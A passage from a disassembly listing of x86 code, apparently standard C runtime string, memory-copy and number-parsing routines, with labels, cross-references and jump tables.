jbe short loc_41BD99 loc_41BD72: ; CODE XREF: sub_41BBBD+197j ; sub_41BBBD+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DB278, 22h jz short loc_41BD88 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD88: ; CODE XREF: sub_41BBBD+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41BD99: ; CODE XREF: sub_41BBBD+18Dj ; sub_41BBBD+19Cj ... test edx, edx jz short loc_41BDA2 mov eax, [ebp+var_4] mov [edx], eax loc_41BDA2: ; CODE XREF: sub_41BBBD+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41BDB0 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41BDB0: ; CODE XREF: sub_41BBBD+1E9j mov eax, [ebp+var_8] jmp short loc_41BDC0 ; --------------------------------------------------------------------------- loc_41BDB5: ; CODE XREF: sub_41BBBD+66j ; sub_41BBBD+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41BDBE mov [eax], edi loc_41BDBE: ; CODE XREF: sub_41BBBD+1FDj xor eax, eax loc_41BDC0: ; CODE XREF: sub_41BBBD+1F6j pop edi pop esi pop ebx leave retn sub_41BBBD endp ; =============== S U B R O U T I N E ======================================= sub_41BDC5 proc near ; CODE XREF: sub_401ACD+61CEp ; sub_401ACD+6A0Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BDC5 endp ; =============== S U B R O U T I N E ======================================= sub_41BDDC proc near ; CODE XREF: sub_401ACD+5980p arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 26801C1h test eax, eax jnz short loc_41BDF2 nop call near ptr 2680925h jmp short loc_41BDF4 ; --------------------------------------------------------------------------- loc_41BDF2: ; CODE XREF: sub_41BDDC+Cj xor eax, eax loc_41BDF4: ; CODE XREF: sub_41BDDC+14j test eax, eax jz short loc_41BE03 push eax call sub_4203DF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDDC+1Aj xor eax, eax retn sub_41BDDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE06 proc near ; CODE XREF: sub_401ACD+58D2p ; ___:00411CA1p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420446 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F69F push [ebp+arg_0] mov edi, eax push esi call sub_4204D3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41BE06 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE40 proc near ; CODE XREF: sub_401ACD+1E81p ; sub_401ACD+1EA0p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41BE61 xor eax, eax jmp short loc_41BE63 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BE40+1Bj mov eax, edi loc_41BE63: ; CODE XREF: sub_41BE40+1Fj cld pop edi leave retn sub_41BE40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE70 proc near ; CODE XREF: sub_401ACD+870p ; ___:0041DD1Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41BEA1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41BE9F jz short loc_41BEA1 dec ecx dec ecx loc_41BE9F: ; CODE XREF: sub_41BE70+29j not ecx loc_41BEA1: ; CODE XREF: sub_41BE70+9j ; sub_41BE70+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41BE70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEB0 proc near ; CODE XREF: sub_401ACD+42Fp ; sub_401ACD+2FFCp ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41BF21 sub_41BEB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BEC0 proc near ; CODE XREF: sub_401ACD+438p ; sub_401ACD+75FEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41BEDC loc_41BECD: ; CODE XREF: sub_41BEC0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41BF0F test ecx, 3 jnz short loc_41BECD loc_41BEDC: ; CODE XREF: sub_41BEC0+Bj ; sub_41BEC0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41BEDC mov eax, [ecx-4] test al, al jz short loc_41BF1E test ah, ah jz short loc_41BF19 test eax, 0FF0000h jz short loc_41BF14 test eax, 0FF000000h jz short loc_41BF0F jmp short loc_41BEDC ; --------------------------------------------------------------------------- loc_41BF0F: ; CODE XREF: sub_41BEC0+12j ; sub_41BEC0+4Bj lea edi, [ecx-1] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF14: ; CODE XREF: sub_41BEC0+44j lea edi, [ecx-2] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF19: ; CODE XREF: sub_41BEC0+3Dj lea edi, [ecx-3] jmp short loc_41BF21 ; --------------------------------------------------------------------------- loc_41BF1E: ; CODE XREF: sub_41BEC0+39j lea edi, [ecx-4] loc_41BF21: ; CODE XREF: sub_41BEB0+5j ; sub_41BEC0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41BF46 loc_41BF2D: ; CODE XREF: sub_41BEC0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41BF98 mov [edi], dl inc edi test ecx, 3 jnz short loc_41BF2D jmp short loc_41BF46 ; --------------------------------------------------------------------------- loc_41BF41: ; CODE XREF: sub_41BEC0+9Ej ; sub_41BEC0+B8j mov [edi], edx add edi, 4 loc_41BF46: ; CODE XREF: sub_41BEC0+6Bj ; sub_41BEC0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41BF41 test dl, dl jz short loc_41BF98 test dh, dh jz short loc_41BF8F test edx, 0FF0000h jz short loc_41BF82 test edx, 0FF000000h jz short loc_41BF7A jmp short loc_41BF41 ; --------------------------------------------------------------------------- loc_41BF7A: ; CODE XREF: sub_41BEC0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF82: ; CODE XREF: sub_41BEC0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41BF8F: ; CODE XREF: sub_41BEC0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BF98: ; CODE XREF: sub_41BEC0+72j ; sub_41BEC0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41BEC0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BFB0 loc_41BFA0: ; CODE XREF: sub_41BFB0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41BFB0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFB0 proc near ; CODE XREF: sub_401ACD+414p ; sub_401ACD+4C3p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41BFB6: ; CODE XREF: sub_41B900+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41BFDB loc_41BFC8: ; CODE XREF: sub_41BFB0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41BFA0 test cl, cl jz short loc_41C024 test edx, 3 jnz short loc_41BFC8 loc_41BFDB: ; CODE XREF: sub_41BFB0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41BFE6: ; CODE XREF: sub_41BFB0+61j ; sub_41BFB0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C028 and eax, 81010100h jz short loc_41BFE6 and eax, 1010100h jnz short loc_41C022 and esi, 80000000h jnz short loc_41BFE6 loc_41C022: ; CODE XREF: sub_41BFB0+68j ; sub_41BFB0+81j ... pop esi pop edi loc_41C024: ; CODE XREF: sub_41BFB0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C028: ; CODE XREF: sub_41BFB0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C065 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C05E test ah, ah jz short loc_41C022 shr eax, 10h cmp al, bl jz short loc_41C057 test al, al jz short loc_41C022 cmp ah, bl jz short loc_41C050 test ah, ah jz short loc_41C022 jmp short loc_41BFE6 ; --------------------------------------------------------------------------- loc_41C050: ; CODE XREF: sub_41BFB0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C057: ; CODE XREF: sub_41BFB0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C05E: ; CODE XREF: sub_41BFB0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C065: ; CODE XREF: sub_41BFB0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41BFB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C0BC loc_41C080: ; CODE XREF: sub_41C070+3Cj ; sub_41C070+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+3] jnz short loc_41C0B4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C080 mov edi, edi loc_41C0B0: ; CODE XREF: sub_41C070+18j ; sub_41C070+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0B4: ; CODE XREF: sub_41C070+14j ; sub_41C070+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C0BC: ; CODE XREF: sub_41C070+Ej test edx, 1 jz short loc_41C0D8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C0B4 inc ecx or al, al jz short loc_41C0B0 test edx, 2 jz short loc_41C080 loc_41C0D8: ; CODE XREF: sub_41C070+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C0B4 or al, al jz short loc_41C0B0 cmp ah, [ecx+1] jnz short loc_41C0B4 or ah, ah jz short loc_41C0B0 add ecx, 2 jmp short loc_41C080 sub_41C070 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C0F4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C10D: ; CODE XREF: sub_41C0F4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C10D mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C135 mov edx, dword_4DB2C4 loc_41C135: ; CODE XREF: sub_41C0F4+39j ; sub_41C0F4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C155 test al, al jz short loc_41C155 inc edx jmp short loc_41C135 ; --------------------------------------------------------------------------- loc_41C155: ; CODE XREF: sub_41C0F4+58j ; sub_41C0F4+5Cj mov ebx, edx loc_41C157: ; CODE XREF: sub_41C0F4+81j mov al, [edx] test al, al jz short loc_41C17B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C177 inc edx jmp short loc_41C157 ; --------------------------------------------------------------------------- loc_41C177: ; CODE XREF: sub_41C0F4+7Ej and byte ptr [edx], 0 inc edx loc_41C17B: ; CODE XREF: sub_41C0F4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_4DB2C4, edx and eax, ebx pop ebx leave retn sub_41C0F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C190 proc near ; CODE XREF: sub_409A2C+1Cp ; sub_415220+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C1CE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C1DB ; --------------------------------------------------------------------------- loc_41C1CE: ; CODE XREF: sub_41C190+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41C1DB: ; CODE XREF: sub_41C190+3Cj mov eax, esi pop esi leave retn sub_41C190 endp ; =============== S U B R O U T I N E ======================================= sub_41C1E0 proc near ; CODE XREF: sub_40AFEA+88p ; sub_40B64A+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C294 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C20A loc_41C1FB: ; CODE XREF: sub_41C1E0+28j mov al, [edi] inc edi test al, al jz short loc_41C23B test edi, 3 jnz short loc_41C1FB loc_41C20A: ; CODE XREF: sub_41C1E0+19j ; sub_41C1E0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C20A mov eax, [edi-4] test al, al jz short loc_41C248 test ah, ah jz short loc_41C243 test eax, 0FF0000h jz short loc_41C23E test eax, 0FF000000h jnz short loc_41C20A loc_41C23B: ; CODE XREF: sub_41C1E0+20j dec edi jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C23E: ; CODE XREF: sub_41C1E0+52j sub edi, 2 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C243: ; CODE XREF: sub_41C1E0+4Bj sub edi, 3 jmp short loc_41C24B ; --------------------------------------------------------------------------- loc_41C248: ; CODE XREF: sub_41C1E0+47j sub edi, 4 loc_41C24B: ; CODE XREF: sub_41C1E0+5Cj ; sub_41C1E0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC jmp short loc_41C27C ; --------------------------------------------------------------------------- loc_41C260: ; CODE XREF: sub_41C1E0+75j ; sub_41C1E0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C29A mov [edi], dl inc edi dec ecx jz short loc_41C290 test esi, 3 jnz short loc_41C260 mov ebx, ecx shr ecx, 2 jnz short loc_41C2AC loc_41C27C: ; CODE XREF: sub_41C1E0+7Ej ; sub_41C1E0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C290 loc_41C283: ; CODE XREF: sub_41C1E0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C292 dec ecx jnz short loc_41C283 loc_41C290: ; CODE XREF: sub_41C1E0+8Bj ; sub_41C1E0+A1j mov [edi], cl loc_41C292: ; CODE XREF: sub_41C1E0+ABj pop ebx pop esi loc_41C294: ; CODE XREF: sub_41C1E0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C29A: ; CODE XREF: sub_41C1E0+85j ; sub_41C1E0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2A4: ; CODE XREF: sub_41C1E0+E4j ; sub_41C1E0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C27C loc_41C2AC: ; CODE XREF: sub_41C1E0+7Cj ; sub_41C1E0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C2A4 test dl, dl jz short loc_41C29A test dh, dh jz short loc_41C2F8 test edx, 0FF0000h jz short loc_41C2E8 test edx, 0FF000000h jnz short loc_41C2A4 mov [edi], edx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: sub_41C1E0+F4j mov [edi], dx xor edx, edx mov eax, [esp+0Ch+arg_0] mov [edi+2], dl pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C2F8: ; CODE XREF: sub_41C1E0+ECj mov [edi], dx mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41C1E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C310 proc near ; CODE XREF: sub_40BFA3+15p ; sub_40BFA3+3Bp ... var_3A3BFFC0 = byte ptr -3A3BFFC0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_41C330 cmp edi, eax jb loc_41C4A8 loc_41C330: ; CODE XREF: sub_41C310+16j test edi, 3 jnz short loc_41C34C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- loc_41C34C: ; CODE XREF: sub_41C310+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_41C364 and eax, 3 add ecx, eax jmp dword ptr loc_41C36C+4[eax*4] ; --------------------------------------------------------------------------- loc_41C364: ; CODE XREF: sub_41C310+46j jmp dword ptr loc_41C468[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C36C: ; CODE XREF: sub_41C310+31j ; sub_41C310+8Ej ... jmp off_41C3EC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41C380 ; --------------------------------------------------------------------------- lodsb retn ; --------------------------------------------------------------------------- inc ecx add al, dl retn ; --------------------------------------------------------------------------- dw 41h ; --------------------------------------------------------------------------- loc_41C380: ; DATA XREF: sub_41C310+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41C36C rep movsd jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C3EC dd offset loc_41C44F ; DATA XREF: sub_41C310:loc_41C36Cr dd offset loc_41C43C dd offset loc_41C434 dd offset loc_41C42C dd offset loc_41C424 dd offset loc_41C41C dd offset loc_41C414 dd offset loc_41C40C ; --------------------------------------------------------------------------- loc_41C40C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_41C414: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41C41C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_41C424: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41C42C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_41C434: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41C43C: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C44F: ; CODE XREF: sub_41C310:loc_41C36Cj ; DATA XREF: sub_41C310:off_41C3ECo jmp off_41C458[edx*4] ; --------------------------------------------------------------------------- align 4 off_41C458 dd offset loc_41C468 ; DATA XREF: sub_41C310+35r ; sub_41C310+92r ... dd offset loc_41C470 dd offset loc_41C47C dd offset loc_41C490 ; --------------------------------------------------------------------------- loc_41C468: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C470: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C47C: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_41C490: ; CODE XREF: sub_41C310+35j ; sub_41C310+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C4A8: ; CODE XREF: sub_41C310+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41C4DC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_41C4D0: ; CODE XREF: sub_41C310+1B1j ; sub_41C310+208j ... neg ecx jmp dword ptr loc_41C59F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41C4DC: ; CODE XREF: sub_41C310+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_41C4F4 and eax, 3 sub ecx, eax jmp dword ptr loc_41C4F4+4[eax*4] ; --------------------------------------------------------------------------- loc_41C4F4: ; CODE XREF: sub_41C310+1D6j ; DATA XREF: sub_41C310+1DDr jmp off_41C5F0[ecx*4] ; --------------------------------------------------------------------------- align 4 or ch, al inc ecx add [eax], ch lds eax, [ecx+0] push eax lds eax, [ecx+0] mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41C4D0 std rep movsd cld jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 4 movsb lds eax, [ecx+0] lodsb lds eax, [ecx+0] mov ah, 0C5h inc ecx add [ebp+eax*8-3A3BFFBFh], bh inc ecx add ah, cl lds eax, [ecx+0] aam 0C5h inc ecx loc_41C59F: ; DATA XREF: sub_41C310+1C2r add bh, ah lds eax, [ecx+0] mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41C5E7: ; CODE XREF: sub_41C310+1C2j jmp off_41C5F0[edx*4] ; --------------------------------------------------------------------------- align 10h off_41C5F0 dd offset loc_41C600 ; DATA XREF: sub_41C310+1B7r ; sub_41C310:loc_41C4F4r ... dd offset loc_41C608 dd offset loc_41C618 dd offset loc_41C62C ; --------------------------------------------------------------------------- loc_41C600: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C608: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C618: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41C62C: ; CODE XREF: sub_41C310+1B7j ; sub_41C310:loc_41C4F4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_41C310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_40BFEB+40p ; ___:0040E29Fp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_41AFE0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_420510 add esp, 10h leave retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C679(double) sub_41C679 proc near ; CODE XREF: sub_40D030+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_43A290 call sub_4217E9 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_41C6FF call sub_4216B1 pop ecx test eax, eax pop ecx jle short loc_41C6E2 cmp eax, 2 jle short loc_41C6D4 cmp eax, 3 jnz short loc_41C6E2 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_420FC1 add esp, 10h jmp short loc_41C744 ; --------------------------------------------------------------------------- loc_41C6D4: ; CODE XREF: sub_41C679+3Fj push esi push ebx call sub_4217E9 fld 